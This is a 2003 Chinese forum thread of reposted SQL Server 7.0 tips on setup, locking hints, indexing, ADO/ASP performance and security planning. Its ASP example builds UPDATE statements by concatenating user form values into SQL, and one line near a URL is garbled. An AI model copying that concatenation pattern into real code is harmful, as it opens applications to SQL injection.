放入SQL Server 7.0光盘，或启动光盘中的autorun.exe。
用鼠标单击「Install SQL Server 7.0 Components」
出现「Install SQL Server 7.0 Components」选项，选择「Database Server- Desktop Edition」。
出现「Welcome」对话框，单击「Next」按钮。
出现「Software License Agreement」对话框，单击「Yes」按钮。
出现「User Information」对话框，请输入您的姓名和公司名称，然后单击「Next」按钮。
出现「Setup Type」对话框，共有三种安装类型，Typical、Minimum及Customer，请选择「Custom」，此外SQLServer 7.0预设的程序文件及数据文件均在\msql7，您可单击「Browse…」按钮进行修改。单击「Next」按钮继续安装。
出现「Select Components」对话框，选择您要安装的项目后，单击「Next」按钮。
出现「Character Set/Sort Order/Unicode Collation」对话框，使用默认值设置，单击「Next」按钮。
附注:Character Set：中文简体，排序次序（字典次序，大小写敏感(NT除外)）。
出现「Network Libraries」对话框，使用默认设置，选择TCP/IP Sockets以及Multi-Protocol三项后，单击「Next」按钮，至此安装程序已收集安装信息，单击「Next」按钮，安装程序会将文件复制到计算机。
安装完全后请重启计算机。
请给出安装SQL Server 7.0客户端工具的示例?

安装SQL Server 7.0客户端工具与安装SQL Server 7.0的安装过程相同，可以参考前面的"在中文Windows NT Server 4.0中安装SQL Server 7.0的范例"，选择用户自定义安装方式，在步骤9「Select Components」对话框中取消 Server Components选项

作者: ccwlm741212 时间: 2003-12-15 13:07
SQL Server的推荐内存容量为多少？

---摘自互联网
SQL Serve最多允许使用2GB虚拟内存。Windows NT 为每个32位Windows应用程序提供4GB的虚拟内存空间，这4GB内存中低端的2GB是这个进程的私有空间，高端的2GB为系统所用。Windows NT虚拟内存管理器(VMM)将4GB地址空间映射到实际物理内存中。实际物理内存最多可为4GB，这取决于硬件平台。

像SQL Server这样的32位Windows应用程序只识别虚拟或者说逻辑地址，而不是物理地址。在某一确定时间一个应用程序到底可以使用多少物理内存取决于实际物理内存大小及VMM。应用程序不能直接控制内存的分配。

Windows NT的虚拟地址系统允许虚拟内存与实际物理内存之比大于1:1。因此，大型应用程序可以在各种硬件系统配置条件下运行。然而，在决大多数情况下，如果系统虚拟内存远远大于运行的所有应用程序所用的系统内存总和，系统性能将大打折扣。

作者: ccwlm741212 时间: 2003-12-15 13:08
在本地管理远程SQL SERVER服务器

---摘自《ChinaASP网络》（文/water）
前几天有不少人问我关于在本地访问远程服务器的问题，在这里总结了一下，希望能给大家一点帮助。

要想访问远程的SQL SERVER服务器，首要的条件是本地的机器上安装了SQL SERVER的CLIENT软件。SQL CLIENT安装使用SQL SERVER安装盘，选择自定义安装，然后在列表中只选择CLIENT。

第二就是需要一个能够正常访问服务器的SQL帐号。需要注意的是别把SQL帐号和NT帐号给弄混了。SQL帐号可以通过ENTERPRISE MAMAGER中的SECURITY（安全）中的LOGINS来管理，系统管理帐号是SA，默认没有口令。

第三就是在安装的SQL CLIENT中添加要访问的服务器。CLIENT NETWORK UTILITY---ADD---服务器别名可以随意写---选择协议（例如TCP/IP）---计算机名输入服务器的IP地址---端口为SQL SERVER的端口号，默认为1433。

第四在ENTERPRISE中用添加服务器向导添加上面注册的服务，也可在QUERY ANALYZERS中直接通过别名访问。

作者: ccwlm741212 时间: 2003-12-15 13:09
使用SQL Mail收发和自动处理邮件

---摘自《SQL编程技巧站》
SQL SERVER提供了通过EXCHANGE或OUTLOOK收发邮件的扩展存储过程，下面将这几个过程简单的介绍一下。

一、启动SQL Mail

xp_startmail @user,@password

         @user和@password都是可选的

也可打开Enterprise Manager中的Support Services，在SQL Mail上单击右键打开右键菜单，然后按Start来启动

二、停止SQL Mail

xp_stopmail

也可用上述方法中的菜单里的Stop来停止

三、发送邮件

xp_sendmail {[@recipients =] 'recipients [;...n]'}
      [,[@message =] 'message']
      [,[@query =] 'query']
      [,[@attachments =] attachments]
      [,[@copy_recipients =] 'copy_recipients [;...n]'
      [,[@blind_copy_recipients =] 'blind_copy_recipients [;...n]'
      [,[@subject =] 'subject']
      [,[@type =] 'type']
      [,[@attach_results =] 'attach_value']
      [,[@no_output =] 'output_value']
      [,[@no_header =] 'header_value']
      [,[@width =] width]
      [,[@separator =] 'separator']
      [,[@echo_error =] 'echo_value']
      [,[@set_user =] 'user']
      [,[@dbuse =] 'database']

其中@recipients是必需的

参数说明：

参数说明
@recipients 收件人，中间用逗号分开
@message 要发送的信息
@query 确定执行并依附邮件的有效查询，除触发器中的插入表及删除表外，此查询能引用任何对象
@attachments 附件
@copy_recipients 抄送
@blind_copy_recipients 密送
@subject 标题
@attach_results 指定查询结果做为附件发送
@no_header 不发送查询结果的列名
@set_user 查询联接的用户名，默认为Guset
@dbuse 查询所用的数据库，默认为缺省数据库

四、阅读邮件收件箱中的邮件

xp_readmail [[@msg_id =] 'message_number'] [, [@type =] 'type' [OUTPUT]]
      [,[@peek =] 'peek']
      [,[@suppress_attach =] 'suppress_attach']
      [,[@originator =] 'sender' OUTPUT]
      [,[@subject =] 'subject' OUTPUT]
      [,[@message =] 'message' OUTPUT]
      [,[@recipients =] 'recipients [;...n]' OUTPUT]
      [,[@cc_list =] 'copy_recipients [;...n]' OUTPUT]
      [,[@bcc_list =] 'blind_copy_recipients [;...n]' OUTPUT]
      [,[@date_received =] 'date' OUTPUT]
      [,[@unread =] 'unread_value' OUTPUT]
      [,[@attachments =] 'attachments [;...n]' OUTPUT])
      [,[@skip_bytes =] bytes_to_skip OUTPUT]
      [,[@msg_length =] length_in_bytes OUTPUT]
      [,[@originator_address =] 'sender_address' OUTPUT]]

参数说明：

参数说明
@originator 发件人
@subject 主题
@message 信息
@recipients 收件人
@skip_tytes 读取邮件信息时跳过的字节数，用于顺序获取邮件信息段。
@msg_length 确定所有信息的长度，通常与@skip_bytes一起处理长信息

五、顺序处理下一个邮件

xp_findnextmsg [[@msg_id =] 'message_number' [OUTPUT]]
      [,[@type =] type]
      [,[@unread_only =] 'unread_value'])

六、删除邮件

xp_deletemail {'message_number'}

如果不指定邮件编号则删除收件箱中的所有邮件

七、自动处理邮件

sp_processmail [[@subject =] 'subject']
      [,[@filetype =] 'filetype']
      [,[@separator =] 'separator']
      [,[@set_user =] 'user']
      [,[@dbuse =] 'dbname']

作者: ccwlm741212 时间: 2003-12-15 13:10
SELECT语句中"加锁选项"的功能说明
（转载自微软）

---摘自《ChinaASP网络》
SELECT 语句中“加锁选项”的功能说明
SQL Server提供了强大而完备的锁机制来帮助实现数据库系统的并发性和高性能。用户既能使用SQL Server的缺省设置也可以在select 语句中使用“加锁选项”来实现预期的效果。本文介绍了SELECT语句中的各项“加锁选项”以及相应的功能说明。
功能说明：　
NOLOCK（不加锁）
此选项被选中时，SQL Server 在读取或修改数据时不加任何锁。在这种情况下，用户有可能读取到未完成事务（Uncommited Transaction）或回滚(Roll Back)中的数据, 即所谓的“脏数据”。

HOLDLOCK（保持锁）
此选项被选中时，SQL Server 会将此共享锁保持至整个事务结束，而不会在途中释放。

UPDLOCK（修改锁）
此选项被选中时，SQL Server 在读取数据时使用修改锁来代替共享锁，并将此锁保持至整个事务或命令结束。使用此选项能够保证多个进程能同时读取数据但只有该进程能修改数据。

TABLOCK（表锁）
此选项被选中时，SQL Server 将在整个表上置共享锁直至该命令结束。这个选项保证其他进程只能读取而不能修改数据。

PAGLOCK（页锁）
此选项为默认选项，当被选中时，SQL Server 使用共享页锁。

TABLOCKX（排它表锁）
此选项被选中时，SQL Server 将在整个表上置排它锁直至该命令或事务结束。这将防止其他进程读取或修改表中的数据。

使用这些选项将使系统忽略原先在SET语句设定的事务隔离级别（Transaction Isolation Level)。请查阅SQL Server 联机手册获取更多信息。

作者: ccwlm741212 时间: 2003-12-15 13:10
响SQL server性能的关键三个方面

---摘自《China ASP网络》
1 逻辑数据库和表的设计
数据库的逻辑设计、包括表与表之间的关系是优化关系型数据库性能的核心。一个好的逻辑数据库设计可以为优化数据库和应用程序打下良好的基础。

标准化的数据库逻辑设计包括用多的、有相互关系的窄表来代替很多列的长数据表。下面是一些使用标准化
表的一些好处。

A:由于表窄，因此可以使排序和建立索引更为迅速

B:由于多表，所以多镞的索引成为可能

C:更窄更紧凑的索引

D:每个表中可以有少一些的索引，因此可以提高insert update delete等的速度，因为这些操作在索引

多的情况下会对系统性能产生很大的影响

E:更少的空值和更少的多余值，增加了数据库的紧凑性

由于标准化，所以会增加了在获取数据时引用表的数目和其间的连接关系的复杂性。太多的表和复杂的连接关系会降低服务器的性能，因此在这两者之间需要综合考虑。
定义具有相关关系的主键和外来键时应该注意的事项主要是：用于连接多表的主键和参考的键要有相同的数据类型。

2 索引的设计
A:尽量避免表扫描
检查你的查询语句的where子句，因为这是优化器重要关注的地方。包含在where里面的每一列（column)都是可能的侯选索引，为能达到最优的性能，考虑在下面给出的例子：对于在where子句中给出了column1这个列。
下面的两个条件可以提高索引的优化查询性能！
第一：在表中的column1列上有一个单索引
第二：在表中有多索引，但是column1是第一个索引的列
避免定义多索引而column1是第二个或后面的索引，这样的索引不能优化服务器性能
例如：下面的例子用了pubs数据库。
SELECT au_id, au_lname, au_fname FROM authors
WHERE au_lname = 'White'
按下面几个列上建立的索引将会是对优化器有用的索引
?au_lname
?au_lname, au_fname
而在下面几个列上建立的索引将不会对优化器起到好的作用
?au_address
?au_fname, au_lname
考虑使用窄的索引在一个或两个列上，窄索引比多索引和复合索引更能有效。用窄的索引，在每一页上
将会有更多的行和更少的索引级别（相对与多索引和复合索引而言），这将推进系统性能。
对于多列索引，SQL Server维持一个在所有列的索引上的密度统计（用于联合）和在第一个索引上的
histogram（柱状图）统计。根据统计结果，如果在复合索引上的第一个索引很少被选择使用，那么优化器对很多查询请求将不会使用索引。
有用的索引会提高select语句的性能，包括insert,uodate,delete。
但是，由于改变一个表的内容，将会影响索引。每一个insert,update,delete语句将会使性能下降一些。实验表明，不要在一个单表上用大量的索引，不要在共享的列上（指在多表中用了参考约束）使用重叠的索引。
在某一列上检查唯一的数据的个数，比较它与表中数据的行数做一个比较。这就是数据的选择性，这比较结果将会帮助你决定是否将某一列作为侯选的索引列，如果需要，建哪一种索引。你可以用下面的查询语句返回某一列的不同值的数目。
select count(distinct cloumn_name) from table_name
假设column_name是一个10000行的表，则看column_name返回值来决定是否应该使用，及应该使用什么索引。
Unique values Index

5000 Nonclustered index
20 Clustered index
3 No index

镞索引和非镞索引的选择

<1:>镞索引是行的物理顺序和索引的顺序是一致的。页级，低层等索引的各个级别上都包含实际的数据页。一个表只能是有一个镞索引。由于update,delete语句要求相对多一些的读操作，因此镞索引常常能加速这样的操作。在至少有一个索引的表中，你应该有一个镞索引。
在下面的几个情况下，你可以考虑用镞索引：
例如：某列包括的不同值的个数是有限的（但是不是极少的）
   顾客表的州名列有50个左右的不同州名的缩写值，可以使用镞索引。
例如：对返回一定范围内值的列可以使用镞索引，比如用between,>,>=,<,<=等等来对列进行操作的列上。
   select * from sales where ord_date between '5/1/93' and '6/1/93'
例如：对查询时返回大量结果的列可以使用镞索引。
   SELECT * FROM phonebook WHERE last_name = 'Smith'

当有大量的行正在被插入表中时，要避免在本表一个自然增长（例如，identity列）的列上建立镞索引。如果你建立了镞的索引，那么insert的性能就会大大降低。因为每一个插入的行必须到表的最后，表的最后一个数据页。
当一个数据正在被插入（这时这个数据页是被锁定的），所有的其他插入行必须等待直到当前的插入已经结束。
一个索引的叶级页中包括实际的数据页，并且在硬盘上的数据页的次序是跟镞索引的逻辑次序一样的。

<2:>一个非镞的索引就是行的物理次序与索引的次序是不同的。一个非镞索引的叶级包含了指向行数据页的指针。
在一个表中可以有多个非镞索引，你可以在以下几个情况下考虑使用非镞索引。
在有很多不同值的列上可以考虑使用非镞索引
例如：一个part_id列在一个part表中
   select * from employee where emp_id = 'pcm9809f'
查询语句中用order by 子句的列上可以考虑使用镞索引

3 查询语句的设计<br>
SQL Server优化器通过分析查询语句，自动对查询进行优化并决定最有效的执行方案。优化器分析查询语句来决定那个子句可以被优化，并针对可以被优化查询的子句来选择有用的索引。最后优化器比较所有可能的执行方案并选择最有效的一个方案出来。
在执行一个查询时，用一个where子句来限制必须处理的行数，除非完全需要，否则应该避免在一个表中无限制地读并处理所有的行。
例如下面的例子，
select qty from sales where stor_id=7131
是很有效的比下面这个无限制的查询
select qty from sales
避免给客户的最后数据选择返回大量的结果集。允许SQL Server运行满足它目的的函数限制结果集的大小是更有效的。
这能减少网络I/O并能提高多用户的相关并发时的应用程序性能。因为优化器关注的焦点就是where子句的查询，以利用有用的索引。在表中的每一个索引都可能成为包括在where子句中的侯选索引。为了最好的性能可以遵照下面的用于一个给定列column1的索引。
第一：在表中的column1列上有一个单索引
第二：在表中有多索引，但是column1是第一个索引的列不要在where子句中使用没有column1列索引的查询语句，并避免在where子句用一个多索引的非第一个索引的索引。
这时多索引是没有用的。
For example, given a multicolumn index on the au_lname, au_fname columns of the authors table in
the pubs database,
下面这个query语句利用了au_lname上的索引
SELECT au_id, au_lname, au_fname FROM authors
WHERE au_lname = 'White'
AND au_fname = 'Johnson'
SELECT au_id, au_lname, au_fname FROM authors
WHERE au_lname = 'White'
下面这个查询没有利用索引，因为他使用了多索引的非第一个索引的索引
SELECT au_id, au_lname, au_fname FROM authors
WHERE au_fname = 'Johnson'

作者: ccwlm741212 时间: 2003-12-15 13:11
拷贝的SQL Server 7数据库的恢复方法

---摘自《ChinaASP网络》
在SQL Server 7中由于MS重新设计了数据库文件的存储方式，取消了新建设备再建数据库这一繁琐的过程。新的存储格式,一个数据库包括两个文件，mdf数据库文件和ldf日志文件。所以我们在重装机器备份时可以把你要备份的数据库的这两个文件拷贝出来，重新安装之后再恢复。
　　在SQL Server中提供了这种恢复方式的存储过程。
1.sp_attach_db [@dbname =] 'dbname',[@filename1 =] 'filename_n'
   给系统添加一个数据库，在dbname指定数据库名称，filename＿n指定数据库的文件和日志文件。比如我有一个voogiya的库，停止SQL Server服务备份voogiya_data.mdf,voogiya_log.ldf，启动SQL server,删除掉这个库，然后再把这两上文件拷到sql server　DATA目录中，在Query Analyzer中执行如下语句：
EXEC sp_attach_db @dbname = N'voogiya',
@filename1 = N'd:\mssql7\data\voogiya_data.mdf',
@filename2 = N'd:\mssql7\data\voogiya_log.ldf'
就会把这个库加入到SQL Server Group中.
2.sp_attach_single_file_db [@dbname =] 'dbname',
[@physname =] 'physical_name'
   这个命令和上面的功能一样，在physical_name中只要写上据库的物理文件名就可以了，日志文件SQL server会重新建立。这个存储过程的运行要先执行下面的存储过程：
   sp_detach_db @dbname = 'dbname'
   同样以上面的为例：
   EXEC sp_detach_db @dbname = 'voogiya'
   EXEC sp_attach_single_file_db @dbname = 'voogiya',
@physname = 'd:\mssql7\data\voogiya_data.mdf'

要注意执行以上存储过程的用户要在sysadmin中.

以上方法在windows Nt 4.0,service pack5,sql server 7.0上运行通过。

作者: ccwlm741212 时间: 2003-12-15 13:12
建立高效的数据库应用程序

---摘自《ChinaASP网络》(文/露茜)
关键词：Sql Server, ASP, NT

首先，本文是《全面优化ADO》一文的补充和修正。其次，本文是针对ADO2.1和Microsoft SQL Server 7.0而写的，但其中大部分内容对其它数据库访问组件（控件）和其它数据库也是有效的。

Agenda
Design a database
首先好构建一个好的数据库结构和索引结构，才谈得上高效的访问数据库。

Cursors
访问数据库无可避免的要经常使用游标，到底该使用哪一种呢？

ASP Codes
一点细枝末节的问题，代码上的小小优化。

Design a database
关系型数据库设计的规范化范式

表结构中不能含有任何重复的数据字段（俗称“横着的表”8-）。
如一个表想记录每一个求职者的姓名和若干电话号码
表candidates

Can_id  Can_name Can_telno1 Can_telno2 Can_telno3 ...
1144 Dell’Abate 916-555-2933 714-555-0900 714-555-0901 ....
1145 Zanevesky 408-555-9550 602-555-8310 408-555-9553 ...
固定个数的重复字段还是可以接受的。比如用一行描述一个星期，每天用一列来表示，很自然的事。真正成问题的是，个数不定的重复字段。
若干电话号码就是重复的字段。初看顺理成章，然而等到要操作他们的时候，就会有这样那样的问题出现了。比如，我要排序列出某人的所有电话号码，这是最基本的操作了，可就连如此简单的要求，都不容易实现。可以说，这是开发效率，运行效率“双差”的设计，是应该避免的。

正规的设计方案如下
表candidates
Can_id  Can_name
1144 Dell’Abate
1145 Zanevesky

表candidates_phone
Can_id  Phone_sequence Phonecode
1144  1 916-555-2933
1144  2 714-555-0900
1145  1 408-555-9550
1145  2 602-555-8310
于是乎，简单问题就能简单搞定了。select Phonecode from candidates_phone where Can_id= ? order by candidates_phone  再结合下述的索引，“双高”的设计是当之无愧了。:-)

每一列均函数性地依赖于主关键字，
表service_record

Lot_id  Procedure_id  Address  Description  Date_of_work
1767  103  2454 Legion Street  Tree trimming Nov 15 1997
1767  11  2454 Legion Street Winterize  Dec 01 1997
955  7  707 Condador Rd Furnace repair Dec 03 1997
. . . . .
主关键字是Lot_id 和Procedure_id 组合，但其中Address是依赖于Lot_id的，Description是依赖于Procedure_id的，很明显地产生了冗余，所以应把这张表拆开。

表中记录符合第二范式且不存在传递依赖

什么叫传递依赖呢？简单的说，某个字段的值可以由另一个非主关键字的的字段决定的话，就产生了传递依赖。比如在表中存储平均值、总和，或者是这样的情况： ID BoardID UserID Username Topic Content
1 1 1 Master 测试 Null

这张表中存放了UserID和UserName，而Username是可以由UserID决定的，也存在冗余，所以这也是一个传递依赖。


计算值

一个设计正统的关系数据库不存储任何计算数据如总和、平均值、最大值和最小值。这些值通常在查询的时候利用基本数据来计算。
   但是，在一些场合，采用存储计算值的方法可能更简单、更快。
例如：在一个表特别大的时候（几万行以上的），而且经常需要得到其中一些数据的总和，每一次查询都要花费几秒的时间，这将降低数据库使用的效率。我们可以采用这样的方法来解决这个问题。
将总和的信息记录在另外一张表中，每天晚上运行一个程序（定时触发）来求和放到表中。如果需要更快的得到准确的总和，也可以采用Insert、Delete和Update触发器来做，不过这样比较影响系统效率，如果表更新频繁的话。

历史信息

如果一个表记录了所有的历史信息，而用户往往只想知道近几个月来的信息。这样可以把表分成几个，每张表记录一个月的信息。不过这样很麻烦的，但是可以用分区这一更好的办法来解决这个问题。（Access不可以的）分区是和复制紧密相关的，简单的说，就是定义一个复制事务，就可以按时把多余的数据（比如说上个月的呀）复制到别的地方去放着，平时常用的表就只放最近的记录。

其它

一般的说，表的列数不应该太多，以不要超过10个字段为宜。

特殊数据类型
变长数据类型
Varchar 、nvarchar和 Varbinary
原则上，在数据长度比较固定的情况下要尽量使用定长数据类型。如邮政编码，应该用char[6]而不是varchar[6]。另外在冗余量不大的情况下，还是推荐使用定长数据类型。原因很简单，存取不定常型数据的开销更大。

文本和图形
Text、nText和Image
这两种数据类型不能用索引、局部变量、内建函数、数学运算符、Order By、 Group By
在以前版本的SQL Server里面，这样的数据类型如果放很少的内容，将会造成很大的空间的浪费，但是现在SQL 7已经较好的解决了这个问题。

Uniqueidentifier
这是一个SQL 7新增的字段类型，可能大家不是太熟悉，所以也介绍一下：
它记录的是一个全球唯一标志(GUID)，就象我们常见到的CLSID那样
00020803-0000-0000-C000-000000000046
D54EEE56-AAAB-11D0-9E1D-00A0C922E6EC
有一个函数可以产生新的GUID： NewID()

TimeStamp
在《数据库探讨》里面经常发现有人把这个字段当做放时间的了，所以还是说明一下。
它是一般用于显示SQL Server更改记录的顺序，是有一个渐增的8 byte的binary数据表示，当一条记录被插入或者被修改的时候，数据库引擎就会把从@@DBTS函数中得到的值来更新timestamp字段。这种字段类型有一个常见的用途就是防止一条记录被两个人修改。
Example:
一般在我们更新某条记录的时候，我们会使用一个ID之类的主关键字作为更新条件。
editAnnounce.asp部分代码[版主编辑帖子]

Response.Write "<input type='hidden' name='announceID' value='" & CStr(announceID) & "'>" & vbCrLf

其中使用announceID作为参数传递给下一个页面，而在下一个页面中执行

objConn.Execute("Update Announce Set Topic = '" & strTopic ... & " Where announceID = " & announceID)

这样的话就存在一个问题，假设moslem在改动某个帖子，而morning在moslem还没保存改动的时候也在改这个帖子，那么先改动的人做的改动就会被覆盖掉，为了避免这种情况，我们可以采用这样的方法。

Response.Write "<input type='hidden' name='announceID' value='" & CStr(announceID) & "'>" & vbCrLf & "<input type='hidden' name='timestamp' value='" & rs("ts"

& "'>" 'ts是一个timestamp类型的字段

objConn.Execute "Update Announce Set Topic = '" & strTopic ... & " Where announceID = " & announceID & " and ts = " & timestamp, i
If i = 0 Then Response.Write "帖子已被人改动，请刷新上一个页面"

timestamp的值实际上跟时间并没有什么关系，要想自动记录时间，还是用一个datetime 字段，缺省值赋为getdate()的好，如果想记录每次修改的时间，可以在触发器里面用getdate()取得时间。

主关键字和索引
很复杂，却又很关键的问题。真的要研讨如何建立最优的索引的话，足可以写很厚的一本书，而且我不一定写得了
8-)。然而不要害怕，这不等于我们没法偷懒，(sql 7.0的场合下)简单而又凑合的策略还是有的：

不要瞎建索引。喂，那谁，先别笑！的确有很多人建索引用“飞机播种”法，曰”反正总有用得着的“。这是首先要避免的。因为，第一”用得着“的东西不见得是”最有用“的，第二“用不着”的索引会消耗大量空间并严重降低插，删，（相当的）改操作的性能。

不要随便用聚合索引，比如总是把聚合索引缺省地用在主key上。一个表只能有一个聚合索引，要把这好钢用在刀刃上。详见后述。

UNIQUE是非常重要的信息，如果能加一定要加上。千万不要以为identity之类的列上建索引,sql server会自动地认为是UNIQUE。软件这种东西，宁信其愚不信其智，但是，相信我，没错的8-)。

写sql时多用wisql，少用各种画板wizard之类的。先不要“咦？” ，我没有跑题，相信我，没错的(我这人是不是有点烦？8-)。wisql 现在自称是“查询分析者(Query Analyzer)”，总得有点道道8。那就是show plan和索引建议（sql 7.0新功能）。show plan告诉你该次查询的执行方案和开销，索引建议则是由sql server来分析你的查询，并提供建索引建议。所以，所以，尽量在wisql里编写调试sql，对于那些频繁执行的sql，有时没事地show plan一下，隔三差五地看一把索引建议，你会找到适合你需要的索引。但是：

索引建议总是建议造非聚合索引，什么时候用聚合索引这得由你自己来决定。如果符合下列条件之一，你应该考虑用聚合索引。一：结果集很大。二：检索条件中有“范围”条件，即<,>,between之类的。三：需要结果集group by 和/或order by。另一方面，如果某个列的变动很频繁，则不宜在该列上建聚合索引。到底怎么定，还是要让事实说话，用show plan比较一下各种方案的差异总是有必要的。

对于like '%xxx%'的查询，普通的索引起不了作用，可以使用FullText Search

Return to Top

Cursors
首先，我们要尽量避免在服务器上使用大的游标，所以在执行一些没有返回结果的语句时，不要返回结果集。
Example:
objConn.Execute "update table set field = field + 1", iRecordsAffected, adCmdText + adExecuteNoRecords
但是由于要得到结果集、记录总数、更新数据等的时候，考虑避免复杂的编程（比如使用Recordset.RecordCount和Recordset.Update），要使用不同的游标，否则将无法得到正确的执行结果，下面我们来看一下不同游标之间的区别。
　 Server Side Cursor Client Side Cursor
使用方法object.
CursorLocation = adUseServer adUseClient
实现方式游标元数据由SQL Server提供游标元数据由OLEDB provider游标库提供
系统开销较高的服务器端开销，较低的客户端开销较低的服务器端开销，较高的客户端开销
网络往返较少的网络往返较多的网络往返
数据库限制与SQL Server紧密集成可以和任何数据库一起工作
其它是SQL Server应用程序的通常选择比较灵活和不受限制，但效率较低

　 ForwardOnly Static Keyset Dynamic
使用方法Recordset.
CursorType = adOpenForwardOnly adOpenStatic adOpenKeyset adOpenDynamic
实现方式直接在基表上操作在Tempdb中为游标记录建立一个快照在Tempdb中为游标记录建立一个对应的Keyset 直接在基表上操作
建立开销最低最高（考虑异步入口）高（当结果集很大时考虑异步入口）低（多表连接会影响性能）
访问开销最低低最高高
可否更新否否是是
滚动方式向前或到起始位置允许任意滚动方式允许任意滚动方式允许任意滚动方式（只向前滚动可以提高性能）
是否可反映数据的改变是否可以反映数据的更改，但不能反映数据的增加是
AbsolutePage 无效读/写读/写无效
AbsolutePosition 无效读/写读/写无效
Bookmark 无效读/写读/写无效
PageCount 无效只读只读无效
RecordCount 无效只读只读无效
Clone 无效有效有效无效
Resync 无效有效有效无效
　　　　　
ASP Codes
首先再提一下Pooling Pool的问题，我记得以前说过是应该用释放但不关闭Connection对象的方式来使用缓冲池，后来我发现这种做法是错误的，ASP是自动使用缓冲池的，照常关闭和释放Connection对象就可以了，在此鞠躬致歉！

访问结果集的时候，使用Index(objRS(0))比使用Name(objRS("ID"

)要快一丁点儿，但是会降低代码的可读性，虽然也可以把Name定义成一个数字的常量，不过也怪麻烦的。

尽量少使用几个对象，ADO和DAO等一个显著的区别就是可以独立的创建对象，而不需要逐级建立对象，你可以只建立你需要的对象，这样可以减轻ADO的负担和代码的数量（这意味着程序的可靠性增加了），比如你不再需要建立Command Object，而可以直接从Connection Object的 Execute Method得到一个Recordset Object，或者使用Recordset 的 Open Method。

另外说明一点，ADO中使用的常量在ASP中是没有定义的（在VB中可以直接使用），需要引用adovbs.inc，而且一些ADO 2.1中的常量在里面没有，需要自行添加，新的adocbs.inc可以在这里下载http://www.chinaasp.com/user/luc ... 跋齑氲目啥列浴�

在连接到数据库的时候，最好不好使用DSN，更不要使用文件DSN，在指定数据库服务器路径的时候，最好使用命名管道而不是TCP/IP，还有，以前也提到过最好根据不同的数据库使用相应的Provider。

不仅是ADO的对象，建立的每一个对象都应该释放掉(Set Object = Nothing)，否则多用一段时间IIS就该出错了。

ADO 2.1有一个新方法，类似于RDO的GetClipString，可以用于显示记录集的全部或部分列并加上分隔符。
Recordset.GetString(adClipString, NumRows, ColumnDelimiter, RowDelimiter, NullExpr)
Example:
Response.Write objRs.GetString(adClipString, -1, "</TD><TD>", "</TR><TR><TD>", " "

适当提高Recordset.CacheSize的数值可以加速数据的访问，CacheSize的默认值是1，可以提高到30或者50

建议使用Top语句来控制返回的记录集的行数

使用嵌套查询来减少访问数据库的次数

作者: ccwlm741212 时间: 2003-12-15 13:25
【 SQL Server安全规划全攻略(转载) 】
［作者：佚名转贴自：本站原创点击数：6 更新时间：2003-12-12 文章录入：电脑教程］

在改进SQL Server 7.0系列所实现的安全机制的过程中，Microsoft建立了一种既灵活又强大的安全管理机制，它能够对用户访问SQL Server服务器系统和数据库的安全进行全面地管理。按照本文介绍的步骤，你可以为SQL Server 7.0（或2000）构造出一个灵活的、可管理的安全策略，而且它的安全性经得起考验。
一、验证方法选择
本文对验证（authentication）和授权（authorization）这两个概念作不同的解释。验证是指检验用户的身份标识；授权是指允许用户做些什么。在本文的讨论中，验证过程在用户登录SQL Server的时候出现，授权过程在用户试图访问数据或执行命令的时候出现。

构造安全策略的第一个步骤是确定SQL Server用哪种方式验证用户。SQL Server的验证是把一组帐户、密码与Master数据库Sysxlogins表中的一个清单进行匹配。Windows NT/2000的验证是请求域控制器检查用户身份的合法性。一般地，如果服务器可以访问域控制器，我们应该使用Windows NT/2000验证。域控制器可以是Win2K服务器，也可以是NT服务器。无论在哪种情况下，SQL Server都接收到一个访问标记（Access Token）。访问标记是在验证过程中构造出来的一个特殊列表，其中包含了用户的SID（安全标识号）以及一系列用户所在组的SID。正如本文后面所介绍的，SQL Server以这些SID为基础授予访问权限。注意，操作系统如何构造访问标记并不重要，SQL Server只使用访问标记中的SID。也就是说，不论你使用SQL Server 2000、SQL Server 7.0、Win2K还是NT进行验证都无关紧要，结果都一样。

如果使用SQL Server验证的登录，它最大的好处是很容易通过Enterprise Manager实现，最大的缺点在于SQL Server验证的登录只对特定的服务器有效，也就是说，在一个多服务器的环境中管理比较困难。使用SQL Server进行验证的第二个重要的缺点是，对于每一个数据库，我们必须分别地为它管理权限。如果某个用户对两个数据库有相同的权限要求，我们必须手工设置两个数据库的权限，或者编写脚本设置权限。如果用户数量较少，比如25个以下，而且这些用户的权限变化不是很频繁，SQL Server验证的登录或许适用。但是，在几乎所有的其他情况下（有一些例外情况，例如直接管理安全问题的应用），这种登录方式的管理负担将超过它的优点。

二、Web环境中的验证
即使最好的安全策略也常常在一种情形前屈服，这种情形就是在Web应用中使用SQL Server的数据。在这种情形下，进行验证的典型方法是把一组SQL Server登录名称和密码嵌入到Web服务器上运行的程序，比如ASP页面或者CGI脚本；然后，由Web服务器负责验证用户，应用程序则使用它自己的登录帐户（或者是系统管理员sa帐户，或者为了方便起见，使用Sysadmin服务器角色中的登录帐户）为用户访问数据。

这种安排有几个缺点，其中最重要的包括：它不具备对用户在服务器上的活动进行审核的能力，完全依赖于Web应用程序实现用户验证，当SQL Server需要限定用户权限时不同的用户之间不易区别。如果你使用的是IIS 5.0或者IIS 4.0，你可以用四种方法验证用户。第一种方法是为每一个网站和每一个虚拟目录创建一个匿名用户的NT帐户。此后，所有应用程序登录SQL Server时都使用该安全环境。我们可以通过授予NT匿名帐户合适的权限，改进审核和验证功能。

第二种方法是让所有网站使用Basic验证。此时，只有当用户在对话框中输入了合法的帐户和密码，IIS才会允许他们访问页面。IIS依靠一个NT安全数据库实现登录身份验证，NT安全数据库既可以在本地服务器上，也可以在域控制器上。当用户运行一个访问SQL Server数据库的程序或者脚本时，IIS把用户为了浏览页面而提供的身份信息发送给服务器。如果你使用这种方法，应该记住：在通常情况下，浏览器与服务器之间的密码传送一般是不加密的，对于那些使用Basic验证而安全又很重要的网站，你必须实现SSL（Secure Sockets Layer，安全套接字层）。

在客户端只使用IE 5.0、IE 4.0、IE 3.0浏览器的情况下，你可以使用第三种验证方法。你可以在Web网站上和虚拟目录上都启用NT验证。IE会把用户登录计算机的身份信息发送给IIS，当该用户试图登录SQL Server时IIS就使用这些登录信息。使用这种简化的方法时，我们可以在一个远程网站的域上对用户身份进行验证（该远程网站登录到一个与运行着Web服务器的域有着信任关系的域）。

最后，如果用户都有个人数字证书，你可以把那些证书映射到本地域的NT帐户上。个人数字证书与服务器数字证书以同样的技术为基础，它证明用户身份标识的合法性，所以可以取代NT的Challenge/Response（质询/回应）验证算法。Netscape和IE都自动在每一个页面请求中把证书信息发送给IIS。IIS提供了一个让管理员把证书映射到NT帐户的工具。因此，我们可以用数字证书取代通常的提供帐户名字和密码的登录过程。

